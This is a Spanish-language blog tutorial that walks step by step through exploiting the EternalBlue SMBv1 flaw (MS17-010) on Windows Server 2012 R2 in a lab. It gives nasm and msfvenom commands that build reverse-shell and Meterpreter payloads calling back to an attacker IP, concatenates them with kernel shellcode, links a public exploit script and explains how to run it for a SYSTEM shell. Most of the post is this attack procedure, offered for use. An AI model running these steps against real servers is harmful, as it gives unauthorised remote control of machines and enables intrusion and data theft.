Post62 nn

Explotando Windows 2012 R2 con EternalBlue


Foto
Andres Galeano

Descripción


En el post anterior (Usando el exploit EternalBlue de la NSA) pudimos ver cómo utilizar diversos módulos de Metasploit para explotar la vulnerabilidad que afecta al servicio SMBv1 en los sistemas operativos Windows 7 y 2008 R2 (x86/x64).


Microsoft Bulletin: MS17-010(Critical)

Common Vulnerabilities and Exposures: CVE-2017-0143


En esta oportunidad vamos a ver como explotar la misma vulnerabilidad en sistemas Windows 2012 R2 (x64).

Nos vamos a basar en el Paper que público Sheila Berta en Exploit-DB.(ESPAÑOL/INGLES)

Este Paper explica el uso de una versión de EternalBlue desarrollada en Python por "Sleepya_"(Worawit Wang). 


Para que podamos llevar a cabo la practica de manera sencilla, vamos a necesitar una maquina virtual con Kali 2017.1, y otra con un Windows 2012 R2.



Imagen 1 - Windows 2012 R2 (x64)


La vulnerabilidad puede ser explotada en el caso de que este activo el usuario Guest o bien hayamos recopilado previamente las credenciales de un usuario valido, aunque tenga permisos reducidos nos servirá, ya que una vez explotada la vulnerabilidad, siempre recibiremos una terminal de SYSTEM.


 

Imagen 2 - Usuario estándar


Imagen 3 - Usuario Guest habilitado


Para comprender cómo esta conformado el exploit debemos tener en cuenta estos 3 tipos de archivos y cómo vamos a crearlos:

* Exploit

* Kernel Shellcode

* Userland Shellcode


 

Imagen 4 - Gráfico de guía


Imagen 5 - Gráfico de guía 


Paso 1: Crear Kernel Shellcode


Lo primero que deberemos hacer es ensamblar el Kernel Shellcode que creo Sleepya, podremos copiar el código del siguiente enlace: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file-eternalblue_x64_kshellcode-asm


El código que acabamos de copiar lo pegamos dentro de un archivo al que nombraremos: kernel_shell_x64.asm 


Para ensamblarlo ejecutaremos el comando:


nasm -f bin kernel_shell_x64.asm

Como resultado nos generara un archivo llamado: kernel_shell_x64


Imagen 6 - Creación de kernel_shell_x64


Paso 2: Crear Userland Shellcode (Payload)


El próximo paso es crear un Userland Shellcode (Para simplificarlo, sería crear un archivo binario el cual contendrá nuestro payload), para llevar a cabo esta tarea será necesario utilizar la herramienta msfvenom

Como demostración se creará 2 tipos de payload: una shell reversa vía TCP y una sesión de meterpreter.


  • msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell_msf.bin EXITFUNC=thread LHOST=[IP_ATACANTE] LPORT=4444

 


Imagen 7 -  Payload Shell reversa vía TCP


  • msfvenom -p windows/x64/meterpreter/reverse_tcp -f raw -o meterpreter_msf.bin EXITFUNC=thread LHOST=[IP_ATACANTE] LPORT=4444 



Imagen 8 -  Payload Meterpreter


Una vez que tengamos creados nuestros payloads lo que deberemos hacer es concatenar cada uno con el archivo  con el kernel_shell_x64, de esta manera generaremos nuevos binarios, los cuales utilizaremos en la última etapa.


cat kernel_shell_x64 shell_msf.bin > reverse_shell.bin




Imagen 9 - reverse_shell.bin



Imagen 10 - meterpreter.bin


Creamos una carpeta llamada binarios en la cual vamos a copiar los archivos meterpreter.bin reverse_shell.bin 


mkdir binarios 
cp reverse_shell.bin meterpreter.bin binarios/
cd binarios/
ls


 

Imagen 11 - Creación de carpeta binarios y copia de archivos


Paso 3: Crear exploit.py


Crearemos el archivo exploit.py, el código lo podremos conseguir en el github de Sleepya : https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e



Imagen 12 - Creación de archivo exploit.py


Paso 4: Configurar el exploit.py con el usuario correspondiente


Tal como habíamos indicado anteriormente podríamos utilizar el usuario Guest en el caso que este activo o bien, un usuario con permisos estándar.



Imagen 13 -  Configuración de exploit.py con usuario Guest


Imagen 14 -  Configuración de exploit.py con usuario test


Paso 5: Poner a la escucha un Handler



Imagen 15 -  Handler (Payload: windows/x64/shell/reverse_tcp)



Imagen 16 -  Handler (Payload: windows/x64/meterpreter/reverse_tcp)



  • Paso 6: Ejecutar el exploit


    En este paso lanzaremos el ataque con el exploit.py y el binario que contendrá el payload de la shell reversa o bien el de la sesión de meterpreter.

    El parámetro con valor “500” corresponde al “numGroomConn”. El ajustar la cantidad de conexiones “Groom” ayuda a alcanzar un pool de memoria contigua en el kernel para que la sobreescritura del buffer termine en la ubicación que deseamos y lograr ejecutar la shellcode correctamente.


    Imagen 17 -  Explotación con el payload reverse_shell.bin

     


    Imagen 18 -  Explotación con el payload meterpreter.bin


    Paso 7: Resultado



    Imagen 19 -  Resultado de Payload Shell Reversa


     

    Imagen 20 -  Resultado de Payload Meterpreter



    Como pueden ver, funciona muy bien esta versión de EternalBlue. Por el momento no hay ningún módulo para Metasploit. De todas maneras no hay que perder de vista los avances de Sheila (@unapibageek), Sean Dillon (@zerosum0x0) / Dylan Davis(@jennamagius) y Sleepya(@sleepya).


    Recuerden que si desean conocer mas sobre la explotación pueden ver los informes originales:


Hasta la próxima vulnerabilidad :) 




Artículos que te pueden interesar